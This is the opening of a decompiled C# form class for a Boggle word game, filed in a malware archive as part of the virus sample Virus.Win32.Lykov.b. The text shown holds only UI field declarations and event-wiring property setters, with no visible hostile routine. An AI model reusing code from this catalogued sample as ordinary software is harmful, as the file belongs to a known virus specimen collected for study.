MalwareSourceCode/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/frmMain.cs

4482 lines
159 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: Boggle.frmMain
// Assembly: Boggle, Version=1.0.1320.31511, Culture=neutral, PublicKeyToken=null
// MVID: B8BB850A-887A-43B2-B89D-3D1301289D01
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.Win32;
using System;
using System.Collections;
using System.ComponentModel;
using System.Data;
using System.Data.OleDb;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Runtime.CompilerServices;
using System.Text;
using System.Threading;
using System.Windows.Forms;
namespace Boggle
{
public class frmMain : Form
{
[AccessedThroughProperty("lbl14")]
private CircleLabel _lbl14;
[AccessedThroughProperty("BogBorder10")]
private BogBorder _BogBorder10;
[AccessedThroughProperty("lbl13")]
private CircleLabel _lbl13;
[AccessedThroughProperty("lbl12")]
private CircleLabel _lbl12;
[AccessedThroughProperty("lbl15")]
private CircleLabel _lbl15;
[AccessedThroughProperty("lbl11")]
private CircleLabel _lbl11;
[AccessedThroughProperty("lbl10")]
private CircleLabel _lbl10;
[AccessedThroughProperty("lbl9")]
private CircleLabel _lbl9;
[AccessedThroughProperty("lbl8")]
private CircleLabel _lbl8;
[AccessedThroughProperty("lbl7")]
private CircleLabel _lbl7;
[AccessedThroughProperty("lbl6")]
private CircleLabel _lbl6;
[AccessedThroughProperty("lbl16")]
private CircleLabel _lbl16;
[AccessedThroughProperty("lbl5")]
private CircleLabel _lbl5;
[AccessedThroughProperty("BogBorder11")]
private BogBorder _BogBorder11;
[AccessedThroughProperty("btnAddWord")]
private BogButton _btnAddWord;
[AccessedThroughProperty("lbl2")]
private CircleLabel _lbl2;
[AccessedThroughProperty("lbl3")]
private CircleLabel _lbl3;
[AccessedThroughProperty("mnuMain")]
private MainMenu _mnuMain;
[AccessedThroughProperty("lbl4")]
private CircleLabel _lbl4;
[AccessedThroughProperty("BogBorder12")]
private BogBorder _BogBorder12;
[AccessedThroughProperty("lbl1")]
private CircleLabel _lbl1;
[AccessedThroughProperty("BogBorder8")]
private BogBorder _BogBorder8;
[AccessedThroughProperty("BogBorder13")]
private BogBorder _BogBorder13;
[AccessedThroughProperty("BogBorder7")]
private BogBorder _BogBorder7;
[AccessedThroughProperty("mnuGame")]
private MenuItem _mnuGame;
[AccessedThroughProperty("BogBorder6")]
private BogBorder _BogBorder6;
[AccessedThroughProperty("BogBorder14")]
private BogBorder _BogBorder14;
[AccessedThroughProperty("BogBorder2")]
private BogBorder _BogBorder2;
[AccessedThroughProperty("BogBorder15")]
private BogBorder _BogBorder15;
[AccessedThroughProperty("Panel1")]
private Panel _Panel1;
[AccessedThroughProperty("mnuNewGame")]
private MenuItem _mnuNewGame;
[AccessedThroughProperty("mnuExitGame")]
private MenuItem _mnuExitGame;
[AccessedThroughProperty("BogBorder16")]
private BogBorder _BogBorder16;
[AccessedThroughProperty("mnuOptions")]
private MenuItem _mnuOptions;
[AccessedThroughProperty("txtWordFound")]
private TextBox _txtWordFound;
[AccessedThroughProperty("lstHumanWordsFound")]
private ListBox _lstHumanWordsFound;
[AccessedThroughProperty("mnuHelp")]
private MenuItem _mnuHelp;
[AccessedThroughProperty("tmrContMain")]
private System.Windows.Forms.Timer _tmrContMain;
[AccessedThroughProperty("tmrMain")]
private BogTimer _tmrMain;
[AccessedThroughProperty("picCubeDown")]
private PictureBox _picCubeDown;
[AccessedThroughProperty("lstCompFoundWords")]
private ListBox _lstCompFoundWords;
[AccessedThroughProperty("tmrBtn1")]
private Button _tmrBtn1;
[AccessedThroughProperty("tmrBtn2")]
private Button _tmrBtn2;
[AccessedThroughProperty("tmrBtn3")]
private Button _tmrBtn3;
[AccessedThroughProperty("CircleLabel3")]
private CircleLabel _CircleLabel3;
[AccessedThroughProperty("CircleLabel2")]
private CircleLabel _CircleLabel2;
[AccessedThroughProperty("CircleLabel1")]
private CircleLabel _CircleLabel1;
[AccessedThroughProperty("PictureBox1")]
private PictureBox _PictureBox1;
[AccessedThroughProperty("picCubesUp")]
private PictureBox _picCubesUp;
[AccessedThroughProperty("Label4")]
private Label _Label4;
[AccessedThroughProperty("BogBorder1")]
private BogBorder _BogBorder1;
[AccessedThroughProperty("Label3")]
private Label _Label3;
[AccessedThroughProperty("BogBorder3")]
private BogBorder _BogBorder3;
[AccessedThroughProperty("Label2")]
private Label _Label2;
[AccessedThroughProperty("BogBorder4")]
private BogBorder _BogBorder4;
[AccessedThroughProperty("Label1")]
private Label _Label1;
[AccessedThroughProperty("txtMain")]
private RichTextBox _txtMain;
[AccessedThroughProperty("Panel2")]
private Panel _Panel2;
[AccessedThroughProperty("tmrBtn4")]
private Button _tmrBtn4;
[AccessedThroughProperty("Panel3")]
private Panel _Panel3;
[AccessedThroughProperty("BogBorder5")]
private BogBorder _BogBorder5;
[AccessedThroughProperty("Label6")]
private Label _Label6;
[AccessedThroughProperty("lblRound")]
private Label _lblRound;
[AccessedThroughProperty("Label8")]
private Label _Label8;
[AccessedThroughProperty("Label7")]
private Label _Label7;
[AccessedThroughProperty("lblComputerRounds")]
private Label _lblComputerRounds;
[AccessedThroughProperty("Label5")]
private Label _Label5;
[AccessedThroughProperty("lblHumanRounds")]
private Label _lblHumanRounds;
[AccessedThroughProperty("MenuItem8")]
private MenuItem _MenuItem8;
[AccessedThroughProperty("lblHumanScore")]
private Label _lblHumanScore;
[AccessedThroughProperty("mnuHighScores")]
private MenuItem _mnuHighScores;
[AccessedThroughProperty("lblCompScore")]
private Label _lblCompScore;
[AccessedThroughProperty("lblHumanWordsCount")]
private Label _lblHumanWordsCount;
[AccessedThroughProperty("lblCompWordsCount")]
private Label _lblCompWordsCount;
[AccessedThroughProperty("mnuTips")]
private MenuItem _mnuTips;
[AccessedThroughProperty("pnlCubes")]
private BogPanel _pnlCubes;
[AccessedThroughProperty("pnlTimer")]
private BogPanel _pnlTimer;
[AccessedThroughProperty("pnlScore")]
private BogPanel _pnlScore;
[AccessedThroughProperty("MenuItem6")]
private MenuItem _MenuItem6;
[AccessedThroughProperty("btnFinish")]
private BogButton _btnFinish;
[AccessedThroughProperty("pnlWords")]
private BogPanel _pnlWords;
[AccessedThroughProperty("mnuEnableWordValidation")]
private MenuItem _mnuEnableWordValidation;
[AccessedThroughProperty("MenuItem5")]
private MenuItem _MenuItem5;
[AccessedThroughProperty("btnScramble")]
private BogButton _btnScramble;
[AccessedThroughProperty("mnuMode")]
private MenuItem _mnuMode;
[AccessedThroughProperty("btnContinue")]
private BogButton _btnContinue;
[AccessedThroughProperty("mnuEnableTimerFlash")]
private MenuItem _mnuEnableTimerFlash;
[AccessedThroughProperty("mnuTmr500")]
private MenuItem _mnuTmr500;
[AccessedThroughProperty("mnuBoardGameMode")]
private MenuItem _mnuBoardGameMode;
[AccessedThroughProperty("mnuTmr430")]
private MenuItem _mnuTmr430;
[AccessedThroughProperty("mnuTmr400")]
private MenuItem _mnuTmr400;
[AccessedThroughProperty("mnuTmr330")]
private MenuItem _mnuTmr330;
[AccessedThroughProperty("mnuTmr300")]
private MenuItem _mnuTmr300;
[AccessedThroughProperty("mnuVsMode")]
private MenuItem _mnuVsMode;
[AccessedThroughProperty("mnuTmr230")]
private MenuItem _mnuTmr230;
[AccessedThroughProperty("mnuTmr200")]
private MenuItem _mnuTmr200;
[AccessedThroughProperty("mnuTmr130")]
private MenuItem _mnuTmr130;
[AccessedThroughProperty("BogBorder9")]
private BogBorder _BogBorder9;
[AccessedThroughProperty("mnuTeachingMode")]
private MenuItem _mnuTeachingMode;
[AccessedThroughProperty("mnuTmr100")]
private MenuItem _mnuTmr100;
[AccessedThroughProperty("mnuTmr30")]
private MenuItem _mnuTmr30;
[AccessedThroughProperty("mnuTimerInterval")]
private MenuItem _mnuTimerInterval;
[AccessedThroughProperty("mnuEndGame")]
private MenuItem _mnuEndGame;
[AccessedThroughProperty("MenuItem4")]
private MenuItem _MenuItem4;
[AccessedThroughProperty("mnuLevelImpossible")]
private MenuItem _mnuLevelImpossible;
[AccessedThroughProperty("mnuLevelHard")]
private MenuItem _mnuLevelHard;
[AccessedThroughProperty("mnuLevelMedium")]
private MenuItem _mnuLevelMedium;
[AccessedThroughProperty("MenuItem2")]
private MenuItem _MenuItem2;
[AccessedThroughProperty("mnuLevelEasy")]
private MenuItem _mnuLevelEasy;
[AccessedThroughProperty("MenuItem3")]
private MenuItem _MenuItem3;
[AccessedThroughProperty("mnuAbout")]
private MenuItem _mnuAbout;
[AccessedThroughProperty("MenuItem1")]
private MenuItem _MenuItem1;
[AccessedThroughProperty("mnuEnableDefSearch")]
private MenuItem _mnuEnableDefSearch;
private IContainer components;
public DataTable FoundWords;
public string[] WordsChosen;
public Thread ShowWordThread;
public Thread ShowTextThread;
public Thread FindWordsThread;
public double ScramSec;
public bool LoadTextShown;
public int Min;
public double Sec;
public int Round;
public int ComputerRounds;
public int HumanRounds;
public int HumanScore;
public int ComputerScore;
[SpecialName]
private bool \u0024STATIC\u0024tmrContMain_Tick\u002420211C1211\u0024TimerGoing;
[SpecialName]
private bool[,] \u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection;
[SpecialName]
private int \u0024STATIC\u0024tmrContMain_Tick\u002420211C1211\u0024LoadWaitTime;
[SpecialName]
private StaticLocalInitFlag \u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection\u0024Init;
[STAThread]
public static void Main() => Application.Run((Form) new frmMain());
internal virtual Label Label1
{
get => this._Label1;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._Label1 == null)
;
this._Label1 = value;
if (this._Label1 == null)
;
}
}
internal virtual Label Label2
{
get => this._Label2;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._Label2 == null)
;
this._Label2 = value;
if (this._Label2 == null)
;
}
}
internal virtual Label Label3
{
get => this._Label3;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._Label3 == null)
;
this._Label3 = value;
if (this._Label3 == null)
;
}
}
internal virtual Label Label4
{
get => this._Label4;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._Label4 == null)
;
this._Label4 = value;
if (this._Label4 == null)
;
}
}
internal virtual PictureBox PictureBox1
{
get => this._PictureBox1;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._PictureBox1 == null)
;
this._PictureBox1 = value;
if (this._PictureBox1 == null)
;
}
}
internal virtual Label Label5
{
get => this._Label5;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._Label5 == null)
;
this._Label5 = value;
if (this._Label5 == null)
;
}
}
internal virtual BogBorder BogBorder2
{
get => this._BogBorder2;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._BogBorder2 == null)
;
this._BogBorder2 = value;
if (this._BogBorder2 == null)
;
}
}
internal virtual BogBorder BogBorder6
{
get => this._BogBorder6;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._BogBorder6 == null)
;
this._BogBorder6 = value;
if (this._BogBorder6 == null)
;
}
}
internal virtual BogBorder BogBorder7
{
get => this._BogBorder7;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._BogBorder7 == null)
;
this._BogBorder7 = value;
if (this._BogBorder7 == null)
;
}
}
internal virtual BogBorder BogBorder8
{
get => this._BogBorder8;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._BogBorder8 == null)
;
this._BogBorder8 = value;
if (this._BogBorder8 == null)
;
}
}
internal virtual CircleLabel lbl1
{
get => this._lbl1;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._lbl1 != null)
this._lbl1.CubeClick -= new CircleLabel.CubeClickEventHandler(this.CubeClick);
this._lbl1 = value;
if (this._lbl1 == null)
return;
this._lbl1.CubeClick += new CircleLabel.CubeClickEventHandler(this.CubeClick);
}
}
internal virtual CircleLabel lbl4
{
get => this._lbl4;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._lbl4 != null)
this._lbl4.CubeClick -= new CircleLabel.CubeClickEventHandler(this.CubeClick);
this._lbl4 = value;
if (this._lbl4 == null)
return;
this._lbl4.CubeClick += new CircleLabel.CubeClickEventHandler(this.CubeClick);
}
}
internal virtual CircleLabel lbl3
{
get => this._lbl3;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._lbl3 != null)
this._lbl3.CubeClick -= new CircleLabel.CubeClickEventHandler(this.CubeClick);
this._lbl3 = value;
if (this._lbl3 == null)
return;
this._lbl3.CubeClick += new CircleLabel.CubeClickEventHandler(this.CubeClick);
}
}
internal virtual CircleLabel CircleLabel3
{
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._CircleLabel3 == null)
;
this._CircleLabel3 = value;
if (this._CircleLabel3 == null)
;
}
get => this._CircleLabel3;
}
internal virtual CircleLabel lbl2
{
get => this._lbl2;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._lbl2 != null)
this._lbl2.CubeClick -= new CircleLabel.CubeClickEventHandler(this.CubeClick);
this._lbl2 = value;
if (this._lbl2 == null)
return;
this._lbl2.CubeClick += new CircleLabel.CubeClickEventHandler(this.CubeClick);
}
}
internal virtual CircleLabel lbl5
{
get => this._lbl5;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._lbl5 != null)
this._lbl5.CubeClick -= new CircleLabel.CubeClickEventHandler(this.CubeClick);
this._lbl5 = value;
if (this._lbl5 == null)
return;
this._lbl5.CubeClick += new CircleLabel.CubeClickEventHandler(this.CubeClick);
}
}
internal virtual CircleLabel lbl6
{
get => this._lbl6;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._lbl6 != null)
this._lbl6.CubeClick -= new CircleLabel.CubeClickEventHandler(this.CubeClick);
this._lbl6 = value;
if (this._lbl6 == null)
return;
this._lbl6.CubeClick += new CircleLabel.CubeClickEventHandler(this.CubeClick);
}
}
internal virtual CircleLabel lbl7
{
get => this._lbl7;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._lbl7 != null)
this._lbl7.CubeClick -= new CircleLabel.CubeClickEventHandler(this.CubeClick);
this._lbl7 = value;
if (this._lbl7 == null)
return;
this._lbl7.CubeClick += new CircleLabel.CubeClickEventHandler(this.CubeClick);
}
}
internal virtual CircleLabel CircleLabel2
{
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._CircleLabel2 == null)
;
this._CircleLabel2 = value;
if (this._CircleLabel2 == null)
;
}
get => this._CircleLabel2;
}
internal virtual CircleLabel lbl8
{
get => this._lbl8;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._lbl8 != null)
this._lbl8.CubeClick -= new CircleLabel.CubeClickEventHandler(this.CubeClick);
this._lbl8 = value;
if (this._lbl8 == null)
return;
this._lbl8.CubeClick += new CircleLabel.CubeClickEventHandler(this.CubeClick);
}
}
internal virtual CircleLabel lbl9
{
get => this._lbl9;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._lbl9 != null)
this._lbl9.CubeClick -= new CircleLabel.CubeClickEventHandler(this.CubeClick);
this._lbl9 = value;
if (this._lbl9 == null)
return;
this._lbl9.CubeClick += new CircleLabel.CubeClickEventHandler(this.CubeClick);
}
}
internal virtual CircleLabel lbl10
{
get => this._lbl10;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._lbl10 != null)
this._lbl10.CubeClick -= new CircleLabel.CubeClickEventHandler(this.CubeClick);
this._lbl10 = value;
if (this._lbl10 == null)
return;
this._lbl10.CubeClick += new CircleLabel.CubeClickEventHandler(this.CubeClick);
}
}
internal virtual CircleLabel CircleLabel1
{
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._CircleLabel1 == null)
;
this._CircleLabel1 = value;
if (this._CircleLabel1 == null)
;
}
get => this._CircleLabel1;
}
internal virtual CircleLabel lbl11
{
get => this._lbl11;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._lbl11 != null)
this._lbl11.CubeClick -= new CircleLabel.CubeClickEventHandler(this.CubeClick);
this._lbl11 = value;
if (this._lbl11 == null)
return;
this._lbl11.CubeClick += new CircleLabel.CubeClickEventHandler(this.CubeClick);
}
}
internal virtual CircleLabel lbl12
{
get => this._lbl12;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._lbl12 != null)
this._lbl12.CubeClick -= new CircleLabel.CubeClickEventHandler(this.CubeClick);
this._lbl12 = value;
if (this._lbl12 == null)
return;
this._lbl12.CubeClick += new CircleLabel.CubeClickEventHandler(this.CubeClick);
}
}
internal virtual CircleLabel lbl13
{
get => this._lbl13;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._lbl13 != null)
this._lbl13.CubeClick -= new CircleLabel.CubeClickEventHandler(this.CubeClick);
this._lbl13 = value;
if (this._lbl13 == null)
return;
this._lbl13.CubeClick += new CircleLabel.CubeClickEventHandler(this.CubeClick);
}
}
internal virtual PictureBox picCubesUp
{
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._picCubesUp != null)
this._picCubesUp.Paint -= new PaintEventHandler(this.picCubesUp_Paint);
this._picCubesUp = value;
if (this._picCubesUp == null)
return;
this._picCubesUp.Paint += new PaintEventHandler(this.picCubesUp_Paint);
}
get => this._picCubesUp;
}
internal virtual CircleLabel lbl14
{
get => this._lbl14;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._lbl14 != null)
this._lbl14.CubeClick -= new CircleLabel.CubeClickEventHandler(this.CubeClick);
this._lbl14 = value;
if (this._lbl14 == null)
return;
this._lbl14.CubeClick += new CircleLabel.CubeClickEventHandler(this.CubeClick);
}
}
internal virtual CircleLabel lbl15
{
get => this._lbl15;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._lbl15 != null)
this._lbl15.CubeClick -= new CircleLabel.CubeClickEventHandler(this.CubeClick);
this._lbl15 = value;
if (this._lbl15 == null)
return;
this._lbl15.CubeClick += new CircleLabel.CubeClickEventHandler(this.CubeClick);
}
}
internal virtual CircleLabel lbl16
{
get => this._lbl16;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._lbl16 != null)
this._lbl16.CubeClick -= new CircleLabel.CubeClickEventHandler(this.CubeClick);
this._lbl16 = value;
if (this._lbl16 == null)
return;
this._lbl16.CubeClick += new CircleLabel.CubeClickEventHandler(this.CubeClick);
}
}
internal virtual BogButton btnAddWord
{
get => this._btnAddWord;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._btnAddWord != null)
this._btnAddWord.Click -= new EventHandler(this.btnAddWord_Click);
this._btnAddWord = value;
if (this._btnAddWord == null)
return;
this._btnAddWord.Click += new EventHandler(this.btnAddWord_Click);
}
}
internal virtual BogBorder BogBorder1
{
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._BogBorder1 == null)
;
this._BogBorder1 = value;
if (this._BogBorder1 == null)
;
}
get => this._BogBorder1;
}
internal virtual MainMenu mnuMain
{
get => this._mnuMain;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._mnuMain == null)
;
this._mnuMain = value;
if (this._mnuMain == null)
;
}
}
internal virtual MenuItem mnuGame
{
get => this._mnuGame;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._mnuGame == null)
;
this._mnuGame = value;
if (this._mnuGame == null)
;
}
}
internal virtual MenuItem mnuNewGame
{
get => this._mnuNewGame;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._mnuNewGame != null)
this._mnuNewGame.Click -= new EventHandler(this.mnuNewGame_Click);
this._mnuNewGame = value;
if (this._mnuNewGame == null)
return;
this._mnuNewGame.Click += new EventHandler(this.mnuNewGame_Click);
}
}
internal virtual BogBorder BogBorder3
{
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._BogBorder3 == null)
;
this._BogBorder3 = value;
if (this._BogBorder3 == null)
;
}
get => this._BogBorder3;
}
internal virtual MenuItem mnuExitGame
{
get => this._mnuExitGame;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._mnuExitGame != null)
this._mnuExitGame.Click -= new EventHandler(this.mnuExitGame_Click);
this._mnuExitGame = value;
if (this._mnuExitGame == null)
return;
this._mnuExitGame.Click += new EventHandler(this.mnuExitGame_Click);
}
}
internal virtual MenuItem mnuOptions
{
get => this._mnuOptions;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._mnuOptions == null)
;
this._mnuOptions = value;
if (this._mnuOptions == null)
;
}
}
internal virtual MenuItem mnuHelp
{
get => this._mnuHelp;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._mnuHelp == null)
;
this._mnuHelp = value;
if (this._mnuHelp == null)
;
}
}
internal virtual BogBorder BogBorder4
{
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._BogBorder4 == null)
;
this._BogBorder4 = value;
if (this._BogBorder4 == null)
;
}
get => this._BogBorder4;
}
internal virtual System.Windows.Forms.Timer tmrContMain
{
get => this._tmrContMain;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._tmrContMain != null)
this._tmrContMain.Tick -= new EventHandler(this.tmrContMain_Tick);
this._tmrContMain = value;
if (this._tmrContMain == null)
return;
this._tmrContMain.Tick += new EventHandler(this.tmrContMain_Tick);
}
}
internal virtual BogTimer tmrMain
{
get => this._tmrMain;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._tmrMain == null)
;
this._tmrMain = value;
if (this._tmrMain == null)
;
}
}
internal virtual PictureBox picCubeDown
{
get => this._picCubeDown;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._picCubeDown == null)
;
this._picCubeDown = value;
if (this._picCubeDown == null)
;
}
}
internal virtual ListBox lstHumanWordsFound
{
get => this._lstHumanWordsFound;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._lstHumanWordsFound != null)
this._lstHumanWordsFound.MouseUp -= new MouseEventHandler(this.lstHumanWordsFound_MouseUp);
this._lstHumanWordsFound = value;
if (this._lstHumanWordsFound == null)
return;
this._lstHumanWordsFound.MouseUp += new MouseEventHandler(this.lstHumanWordsFound_MouseUp);
}
}
internal virtual RichTextBox txtMain
{
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._txtMain == null)
;
this._txtMain = value;
if (this._txtMain == null)
;
}
get => this._txtMain;
}
internal virtual TextBox txtWordFound
{
get => this._txtWordFound;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._txtWordFound != null)
this._txtWordFound.KeyPress -= new KeyPressEventHandler(this.txtWordFound_KeyPress);
this._txtWordFound = value;
if (this._txtWordFound == null)
return;
this._txtWordFound.KeyPress += new KeyPressEventHandler(this.txtWordFound_KeyPress);
}
}
internal virtual Panel Panel1
{
get => this._Panel1;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._Panel1 == null)
;
this._Panel1 = value;
if (this._Panel1 == null)
;
}
}
internal virtual BogBorder BogBorder9
{
get => this._BogBorder9;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._BogBorder9 == null)
;
this._BogBorder9 = value;
if (this._BogBorder9 == null)
;
}
}
internal virtual Panel Panel2
{
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._Panel2 == null)
;
this._Panel2 = value;
if (this._Panel2 == null)
;
}
get => this._Panel2;
}
internal virtual BogBorder BogBorder10
{
get => this._BogBorder10;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._BogBorder10 == null)
;
this._BogBorder10 = value;
if (this._BogBorder10 == null)
;
}
}
internal virtual BogBorder BogBorder11
{
get => this._BogBorder11;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._BogBorder11 == null)
;
this._BogBorder11 = value;
if (this._BogBorder11 == null)
;
}
}
internal virtual BogBorder BogBorder12
{
get => this._BogBorder12;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._BogBorder12 == null)
;
this._BogBorder12 = value;
if (this._BogBorder12 == null)
;
}
}
internal virtual Panel Panel3
{
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._Panel3 == null)
;
this._Panel3 = value;
if (this._Panel3 == null)
;
}
get => this._Panel3;
}
internal virtual BogBorder BogBorder13
{
get => this._BogBorder13;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._BogBorder13 == null)
;
this._BogBorder13 = value;
if (this._BogBorder13 == null)
;
}
}
internal virtual BogBorder BogBorder14
{
get => this._BogBorder14;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._BogBorder14 == null)
;
this._BogBorder14 = value;
if (this._BogBorder14 == null)
;
}
}
internal virtual BogBorder BogBorder15
{
get => this._BogBorder15;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._BogBorder15 == null)
;
this._BogBorder15 = value;
if (this._BogBorder15 == null)
;
}
}
internal virtual BogBorder BogBorder16
{
get => this._BogBorder16;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._BogBorder16 == null)
;
this._BogBorder16 = value;
if (this._BogBorder16 == null)
;
}
}
internal virtual BogBorder BogBorder5
{
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._BogBorder5 == null)
;
this._BogBorder5 = value;
if (this._BogBorder5 == null)
;
}
get => this._BogBorder5;
}
internal virtual ListBox lstCompFoundWords
{
get => this._lstCompFoundWords;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._lstCompFoundWords != null)
this._lstCompFoundWords.MouseUp -= new MouseEventHandler(this.lstCompFoundWords_MouseUp);
this._lstCompFoundWords = value;
if (this._lstCompFoundWords == null)
return;
this._lstCompFoundWords.MouseUp += new MouseEventHandler(this.lstCompFoundWords_MouseUp);
}
}
internal virtual Button tmrBtn1
{
get => this._tmrBtn1;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._tmrBtn1 != null)
this._tmrBtn1.Click -= new EventHandler(this.tmrBtn1_Click_1);
this._tmrBtn1 = value;
if (this._tmrBtn1 == null)
return;
this._tmrBtn1.Click += new EventHandler(this.tmrBtn1_Click_1);
}
}
internal virtual Button tmrBtn2
{
get => this._tmrBtn2;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._tmrBtn2 != null)
this._tmrBtn2.Click -= new EventHandler(this.tmrBtn1_Click_1);
this._tmrBtn2 = value;
if (this._tmrBtn2 == null)
return;
this._tmrBtn2.Click += new EventHandler(this.tmrBtn1_Click_1);
}
}
internal virtual Label Label6
{
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._Label6 == null)
;
this._Label6 = value;
if (this._Label6 == null)
;
}
get => this._Label6;
}
internal virtual Button tmrBtn3
{
get => this._tmrBtn3;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._tmrBtn3 != null)
this._tmrBtn3.Click -= new EventHandler(this.tmrBtn1_Click_1);
this._tmrBtn3 = value;
if (this._tmrBtn3 == null)
return;
this._tmrBtn3.Click += new EventHandler(this.tmrBtn1_Click_1);
}
}
internal virtual Button tmrBtn4
{
get => this._tmrBtn4;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._tmrBtn4 != null)
this._tmrBtn4.Click -= new EventHandler(this.tmrBtn1_Click_1);
this._tmrBtn4 = value;
if (this._tmrBtn4 == null)
return;
this._tmrBtn4.Click += new EventHandler(this.tmrBtn1_Click_1);
}
}
internal virtual Label lblHumanScore
{
get => this._lblHumanScore;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._lblHumanScore == null)
;
this._lblHumanScore = value;
if (this._lblHumanScore == null)
;
}
}
internal virtual Label lblRound
{
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._lblRound == null)
;
this._lblRound = value;
if (this._lblRound == null)
;
}
get => this._lblRound;
}
internal virtual Label lblCompScore
{
get => this._lblCompScore;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._lblCompScore == null)
;
this._lblCompScore = value;
if (this._lblCompScore == null)
;
}
}
internal virtual Label lblHumanWordsCount
{
get => this._lblHumanWordsCount;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._lblHumanWordsCount == null)
;
this._lblHumanWordsCount = value;
if (this._lblHumanWordsCount == null)
;
}
}
internal virtual Label lblCompWordsCount
{
get => this._lblCompWordsCount;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._lblCompWordsCount == null)
;
this._lblCompWordsCount = value;
if (this._lblCompWordsCount == null)
;
}
}
internal virtual BogPanel pnlCubes
{
get => this._pnlCubes;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._pnlCubes == null)
;
this._pnlCubes = value;
if (this._pnlCubes == null)
;
}
}
internal virtual Label Label8
{
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._Label8 == null)
;
this._Label8 = value;
if (this._Label8 == null)
;
}
get => this._Label8;
}
internal virtual BogPanel pnlTimer
{
get => this._pnlTimer;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._pnlTimer == null)
;
this._pnlTimer = value;
if (this._pnlTimer == null)
;
}
}
internal virtual BogPanel pnlScore
{
get => this._pnlScore;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._pnlScore == null)
;
this._pnlScore = value;
if (this._pnlScore == null)
;
}
}
internal virtual BogPanel pnlWords
{
get => this._pnlWords;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._pnlWords == null)
;
this._pnlWords = value;
if (this._pnlWords == null)
;
}
}
